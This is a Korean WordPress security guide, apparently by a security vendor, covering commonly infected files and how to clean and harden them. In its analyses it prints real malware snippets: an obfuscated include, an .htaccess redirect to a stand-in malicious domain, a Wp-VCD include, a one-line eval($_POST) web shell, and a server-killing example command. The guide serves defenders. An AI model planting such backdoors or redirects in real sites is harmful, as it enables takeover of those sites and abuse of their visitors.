Computer >> 컴퓨터 >  >> 네트워킹 >> 네트워크 보안

감염된 WordPress 파일 점검 및 복구 방법 총정리 (wp-config.php부터 wp-content/uploads까지)

WordPress는 웹사이트 제작을 매우 쉽게 만들어 주었으며, 개인부터 대규모 조직까지 누구나 온라인에서 자신만의 공간을 가질 수 있도록 해주었습니다.

하지만 WordPress 사이트를 호스팅할 때는 보안 관리가 필수입니다. 어느 날 아침에 일어나 보니 웹사이트가 해킹당하고, 그동안 쌓아온 개발 성과와 SEO 노력이 모두 물거품이 되었다는 사실을 모른 채 방치했다면 그야말로 최악의 상황일 것입니다. 🙁

WordPress는 워낙 인기가 많기 때문에 해커들의 주요 표적이 되며, 테마와 플러그인 역시 예외가 아닙니다. 해커가 특정 플러그인에서 취약점 하나만 발견하면, 해당 플러그인이 설치된 거의 모든 웹사이트를 손쉽게 공격할 수 있습니다.

관련 가이드 – WordPress 악성코드 제거

최근의 Contact Form 7 플러그인 취약점이 좋은 예입니다. 이 취약점이 공개되면서 Contact Form 플러그인을 사용하는 약 500만 개 이상의 웹사이트가 위험에 노출된 것으로 추정됩니다. 해당 결함으로 인해 공격자는 사이트에서 허용된 업로드 파일 형식에 대한 모든 제한을 우회하여 임의의 파일을 업로드할 수 있었습니다. 나아가 Contact Form 7 버전 5.3.1 미만을 사용하면서 폼에 파일 업로드 기능을 활성화한 사이트에는 웹셸과 같은 악성 콘텐츠를 삽입하는 것도 가능했습니다.

비슷한 사례로 'Slider Revolution' 플러그인의 LFI(Local File Inclusion) 취약점이 있습니다. 이 취약점으로 해커들은 취약한 WordPress 사이트에서 wp-config.php 파일을 다운로드할 수 있었고, 그 결과 데이터베이스 접속 정보, 암호화 키 등 사이트의 민감한 설정 정보가 유출되었습니다. 이것이 바로 'wp-config.php 해킹'이라 불리게 된 시초입니다.

이번 가이드에서는 WordPress 사이트에서 해커와 악성코드의 주요 표적이 될 수 있는 핵심 파일과 위치들을 모두 살펴보겠습니다.

1) WordPress wp-config.php 해킹

wp-config.php는 모든 WordPress 설치 환경에서 가장 중요한 파일 중 하나입니다. 사이트의 설정 파일로서 WordPress 파일 시스템과 데이터베이스를 연결하는 다리 역할을 하며, 다음과 같은 민감한 정보를 담고 있습니다.

  • 데이터베이스 호스트
  • 사용자명, 비밀번호, 포트 번호
  • 데이터베이스 이름
  • WordPress 보안 키(Security Keys)
  • 데이터베이스 테이블 접두사(prefix)

관련 가이드 – WordPress 보안 완벽 단계별 가이드 (해킹 위험 90% 감소)

이처럼 민감한 정보를 담고 있기 때문에 해커들에게 인기 있는 공격 대상입니다. 지난해에는 WP 플러그인 Duplicator에서 치명적인 결함이 발견되었는데, 인증되지 않은 임의 파일 다운로드(Unauthenticated Arbitrary File Download) 취약점으로 인해 해커들이 wp-config 파일을 내려받을 수 있었습니다.

해커가 wp-config.php 해킹을 통해 데이터베이스 로그인 정보를 확보하면, 데이터베이스에 직접 연결하여 가짜 WP 관리자 계정을 생성하려 시도합니다. 이렇게 되면 해커는 웹사이트와 데이터베이스 전체에 대한 접근 권한을 갖게 되며, 사용자 비밀번호, 이메일 주소, 파일, 이미지, WooCommerce 거래 정보 등 민감한 데이터가 모두 노출됩니다. 또한 지속적인 접근을 위해 Filesman 백도어 같은 스크립트를 심어두기도 합니다.

감염된 WordPress 파일 점검 및 복구 방법 총정리 (wp-config.php부터 wp-content/uploads까지)

2) WordPress index.php 해킹

index.php 파일은 모든 WordPress 사이트의 진입점(entry point)입니다. 사이트의 모든 페이지 실행 시 이 파일이 함께 구동되기 때문에, 해커들은 여기에 악성 코드를 삽입하여 웹사이트 전체에 영향을 미칩니다.

예를 들어 pub2srv 악성코드와 Favicon 악성코드 해킹은 index.php 파일을 주요 표적으로 삼습니다. Astra Security 연구진이 대규모 악성 리디렉션 캠페인을 모니터링하는 과정에서, @include "\x2f/sgb\x2ffavi\x63on_5\x34e6ed\x2eico";와 같은 악성 코드와 아래 스크린샷의 코드가 index.php 파일에 추가된 것을 확인했습니다.

감염된 WordPress 파일 점검 및 복구 방법 총정리 (wp-config.php부터 wp-content/uploads까지)

일부 악성코드 캠페인은 index.php 파일의 이름을 index.php.bak으로 변경하기도 하는데, 이 경우 웹사이트가 아예 로딩되지 않고 다운되는 현상이 발생합니다.

index.php에 삽입된 이런 악성 코드는 방문자에게 이상한 팝업이나 광고를 보여주거나, 스팸 사이트로 강제 리디렉션시키는 원인이 됩니다. 이런 해킹을 복구하려면 해당 파일의 내용을 WordPress가 배포한 원본과 비교해야 합니다.

관련 가이드 – WordPress 해킹 제거 궁극 가이드

3) WordPress .htaccess 파일 해킹

.htaccess 파일은 주로 WordPress 사이트의 최상위 디렉터리에서 발견되며, Apache 서버 환경에서 웹사이트 요구 사항에 맞게 서버 설정을 조정하는 역할을 합니다. .htaccess 파일은 웹 서버의 동작과 성능을 제어할 수 있는 매우 강력한 구성 요소로, 사이트 보안 설정에도 활용됩니다. 대표적인 용도는 다음과 같습니다.

  • 사이트의 특정 폴더 접근 제한
  • 사이트 최대 메모리 사용량 설정
  • 리디렉션(Redirect) 생성
  • HTTPS 강제 적용
  • 캐싱(Caching) 관리
  • 일부 스크립트 삽입 공격 차단
  • 최대 파일 업로드 크기 제어
  • 봇(bot)의 사용자명 탐지 차단
  • 이미지 핫링크(hotlinking) 차단
  • 파일 자동 다운로드 강제
  • 파일 확장자 관리

그러나 공격을 당하게 되면 이러한 기능들이 역으로 공격자의 클릭 수익 창출 도구로 악용될 수 있습니다. 흔히 .htaccess 파일에 악성 코드를 삽입해 사용자를 리디렉션하거나 스팸 콘텐츠를 표시하는 데 사용됩니다. 아래 코드 예시를 보겠습니다.

RewriteEngine On
 RewriteOptions inherit
 RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
 RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
 RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
 RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
 RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
 RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
 RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
 RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
 RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
 RewriteRule .* https://MaliciousDomain.tld/bad.php?t=3 [R,L]

마지막 줄의 악성 코드가 사이트의 방문자 트래픽을 빼돌립니다. 그 결과 사용자는 https://MaliciousDomain.tld로 리디렉션되고, 이어서 bad.php 스크립트를 로드하려 시도합니다. 사이트에서 평소와 다른 리디렉션이 발견된다면 .htaccess 파일 해킹을 의심해볼 필요가 있습니다. 반대로 파일이 존재하지 않거나 비어 있다고 해서 놀랄 필요는 없습니다. 이 파일은 필수가 아니기 때문입니다(WordPress에서 고유주소(pretty URL)를 사용하는 경우는 예외).

모든 WordPress 테마에는 사이트의 푸터와 헤더 영역을 담당하는 footer.phpheader.php 파일이 포함되어 있습니다. 이 영역에는 웹사이트 전체에 걸쳐 공통으로 표시되는 스크립트와 위젯이 들어갑니다. 예를 들어 사이트 하단의 공유 위젯이나 소셜 미디어 위젯, 저작권 정보나 크레딧 문구 등이 여기에 해당합니다.

따라서 이 두 파일은 공격자에게 중요한 표적이 됩니다. 실제로 digestcolect[.com] 리디렉션 악성코드 사례에서처럼 악성 리디렉션과 스팸 콘텐츠 표시에 자주 악용됩니다.

해킹당한 사이트에서는 아래 스크린샷과 같이 이 파일들 안에 알아볼 수 없는 의미불명의 코드가 들어 있는 경우가 많습니다.

감염된 WordPress 파일 점검 및 복구 방법 총정리 (wp-config.php부터 wp-content/uploads까지)

일부 코드를 디코딩해 분석한 결과, 해커들이 브라우저 쿠키를 활용해 사용자를 식별하고 악성 광고를 노출하는 것으로 확인되었습니다.

또 다른 사례에서는 공격자가 확장자가 .js인 모든 파일에 JavaScript 코드를 삽입했습니다. 감염 범위가 광범위할수록 이런 해킹은 정화(클린업) 작업이 상당히 까다로워집니다.

감염된 WordPress 파일 점검 및 복구 방법 총정리 (wp-config.php부터 wp-content/uploads까지)

5) WordPress functions.php 해킹

테마 폴더 안의 functions 파일은 플러그인처럼 작동합니다. 즉, WordPress 사이트에 추가 기능과 확장성을 부여하는 데 사용됩니다. functions.php 파일의 용도는 다음과 같습니다.

  • WordPress 이벤트/함수 호출
  • PHP 네이티브 함수 호출
  • 사용자 정의 함수 정의

functions.php 파일은 모든 테마에 존재하지만, 한 번에 단 하나의 functions.php 파일만 실행된다는 점이 중요합니다. 바로 현재 활성화된 테마의 파일입니다. 이러한 특성 때문에 Wp-VCD 백도어 해킹에서 공격자들이 functions.php 파일을 집중적으로 표적으로 삼았습니다. 이 악성코드는 새로운 관리자 계정을 만들고, Pharma 스팸이나 일본어 SEO 스팸 같은 스팸 페이지를 사이트에 삽입했습니다.

<?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?>

위 코드에서 알 수 있듯이, 이 파일은 class.theme-modules.php 파일을 포함(include)합니다. 이 파일은 이후 사이트에 설치된 다른 테마(비활성화된 테마 포함)에 악성코드를 설치하는 데 사용되며, 새로운 사용자 계정과 백도어를 생성합니다. 덕분에 공격자는 해당 파일을 정리한 후에도 사이트에 계속 접근할 수 있었습니다.

6) WordPress wp-load.php 해킹

wp-load.php 역시 모든 WordPress 사이트의 핵심 파일입니다. 이 파일은 WordPress 환경을 부트스트랩(bootstrap)하고, 플러그인이 WP 코어 함수를 사용할 수 있도록 지원합니다. China Chopper 웹셸 악성코드 사례에서 보았듯이, 많은 악성코드 변종이 악성 wp-load 파일을 생성하는 방식으로 WordPress 사이트를 감염시킵니다. 전형적인 패턴은 wp-load-eFtAh.php 같은 파일을 서버에 만드는 것입니다. 이름이 원본 파일과 비슷하기 때문에 FTP에 접속했을 때 수상하다고 느끼지 못했을 가능성이 큽니다. 이런 파일에는 다음과 같은 코드가 들어 있습니다.

<?php /*5b7bdc250b181*/ ?><?php @eval($_POST['pass']);?>

이 코드는 해커가 pass 파라미터로 전송하는 어떤 PHP 코드든 사이트에서 실행할 수 있게 해줍니다. 이 백도어를 통해 유해한 명령이 실행될 수 있는데, 예를 들어 https://yoursite/your.php?pass=system("killall -9 apache"); 명령은 웹서버 프로세스를 종료시켜 서버 전체를 다운시킬 수 있습니다. 코드 길이로 판단하지 마세요. 짧지만 원격으로 서버를 장악할 만큼 위험한 코드입니다.

7) 서버에 class-wp-cache.php 파일이 범람하는 경우

최근 목격된 해킹 중 하나로, cPanel과 웹 서버 전체에 수십 개, 심지어 수천 개의 class-wp-cache.php 파일이 생성되는 사례가 있었습니다. 코어 파일을 포함해 웹사이트의 모든 폴더가 이 악성 파일들로 오염되었습니다. 일반적으로 이런 감염의 원인은 웹사이트 코드의 취약점이 해커에게 침입 통로를 열어준 것입니다.

WordPress 파일 정화 및 보안 강화 방법

1) 파일 정화

먼저 wp-config.php 해킹과 같은 공격의 원인을 조사한 뒤, 악성 코드나 의미불명의 코드를 제거합니다. 다음으로, 백업본이 있다면 감염된 파일을 백업에서 복원합니다. 백업이 없다면 GitHub에서 WordPress 원본 파일을 확인할 수 있습니다. 수정 작업 전에 반드시 파일을 백업해 두세요. 코드 제거 과정에서 사소한 실수 하나가 사이트 전체를 망가뜨릴 수 있습니다.

2) 플러그인을 활용한 사이트 보안

이런 해킹에서는 CMS 코어 파일이 해커에 의해 변조되는 경우가 많습니다. 따라서 WordPress 코어 파일이 변경되었는지 확인하는 것이 중요합니다. Astra Security 고객이라면 이미 이 기능이 제공되어, 변경 사항이 감지되면 자동으로 알림을 받을 수 있습니다.

감염된 WordPress 파일 점검 및 복구 방법 총정리 (wp-config.php부터 wp-content/uploads까지)

Astra Security는 코어 파일 변경 사항을 검토할 수 있는 내장 리뷰 메커니즘도 함께 제공합니다.

감염된 WordPress 파일 점검 및 복구 방법 총정리 (wp-config.php부터 wp-content/uploads까지)

코어 시스템 파일의 변경 사항 검토를 마쳤다면, Astra Website Protection 같은 악성코드 스캐닝 솔루션으로 사이트를 스캔하여 악성 콘텐츠가 포함된 파일을 식별해야 합니다. 이런 도구는 악성 파일, 악성 링크, 해킹 원인 등을 포함한 전체 스캔 리포트를 제공합니다.

3) 민감한 파일 숨기기

파일이 외부에 노출되면 이 글에서 다룬 wp-config.php 해킹 사례처럼 민감한 정보가 유출될 수 있습니다. 따라서 서버에서 이런 파일들을 숨기는 것이 필수적이며, .htaccess 파일이 그 역할을 할 수 있습니다.

wp-content/uploads 폴더 안의 PHP 파일에 대한 접근을 차단하려면, 해당 폴더에 .htaccess 파일을 생성하고 아래 코드를 추가하세요.

# Kill PHP Execution
<Files ~ ".ph(?:p[345]?|t|tml)$">
deny from all
</Files>

wp-includes 폴더의 민감한 파일을 숨기려면, 사이트 루트의 .htaccess 파일에 아래 코드를 추가합니다.

# Block wp-includes folder and files
 <IfModule mod_rewrite.c>
 RewriteEngine On
 RewriteBase /
 RewriteRule ^wp-admin/includes/ - [F,L]
 RewriteRule !^wp-includes/ - [S=3]
 RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]
 RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]
 RewriteRule ^wp-includes/theme-compat/ - [F,L]
 </IfModule>

이 과정 전체를 생략하고 WP Hardening 플러그인을 설치하는 방법도 있습니다. 이 플러그인은 버튼 하나만 누르면 wp-contents, wp-uploads 등 민감한 파일들을 자동으로 숨겨줍니다. 더불어 WP-Hardening은 사이트의 여러 중요 보안 영역을 함께 강화해 주므로, 공격자가 민감한 정보를 파악하고 악용하기 훨씬 어려워집니다.

관련 가이드 – WordPress 악성코드 제거 단계별 가이드

4) WordPress 업데이트 유지

WordPress 코어, 플러그인, 테마를 항상 최신 버전으로 유지하세요. 업데이트된 설치 환경만으로도 상당수의 보안 허점을 막을 수 있습니다. 평판이 검증된 플러그인과 테마만 사용하고, 코드 품질이 낮은 테마나 불법 크랙(nulled) 테마는 피해야 합니다. 이것만으로도 wp-config.php 해킹 같은 공격을 충분히 예방할 수 있습니다.

이해를 돕기 위해 WordPress 사이트를 보호하는 완전한 단계별 영상 가이드도 준비했습니다.

5) WordPress 방화벽 사용

방화벽은 사이트 보안에 큰 도움이 됩니다. 방화벽은 사이트로 들어오는 트래픽을 모니터링하고, 감염을 차단하는 예방 조치를 취할 수 있습니다. wp-config.php 해킹 같은 공격을 효과적으로 막을 수 있으며, 오늘날 시장에는 다양한 비용 효율적인 방화벽 솔루션이 존재합니다. Astra Security의 방화벽은 유연하게 구성할 수 있어 다양한 요구에 적합합니다.

감염된 WordPress 파일 점검 및 복구 방법 총정리 (wp-config.php부터 wp-content/uploads까지)

Astra 방화벽은 SQLi, 코드 삽입, XSS, CSRF 등 100가지 이상의 사이버 위협을 실시간으로 차단합니다. 또한 비정상적이거나 가짜 로그인 시도를 탐지·차단하고, 웹사이트를 자동으로 정기 스캔합니다.

6) WordPress 보안 감사 및 침투 테스트(Pen Testing)

WordPress는 가장 널리 사용되는 CMS인 만큼 보안 문제도 집중되는 곳이며, 공격자들은 언제나 WordPress 웹사이트의 악용 가능한 취약점을 노리고 있습니다. 따라서 공격으로부터 사이트를 지키기 위해 WordPress 침투 테스트(Penetration Testing)가 필수적이 되었습니다.

침투 테스트란 웹 애플리케이션, 네트워크 또는 컴퓨터 시스템에 대해 수행하는 모의 공격으로, 공격자보다 먼저 보안 취약점을 발견하고 보완하기 위해 진행됩니다. WordPress 사이트 침투 테스트에서 수행되는 모의 공격 중 하나는 디렉터리 리스팅(Directory Listing) 취약점 점검입니다. 이 취약점은 wp-includes, wp-index.php, wp-config.php, wp-admin, wp-load.php, wp-content 등 민감한 디렉터리를 색인(indexing)하여 공격자에게 중요한 정보를 노출시킬 수 있습니다.

무료 WP Hardening 플러그인으로 클릭 한 번에 12개 이상의 보안 문제를 해결하세요

감염된 WordPress 파일 점검 및 복구 방법 총정리 (wp-config.php부터 wp-content/uploads까지)

관련 가이드 – WordPress 보안 완벽 단계별 가이드 (해킹 위험 90% 감소)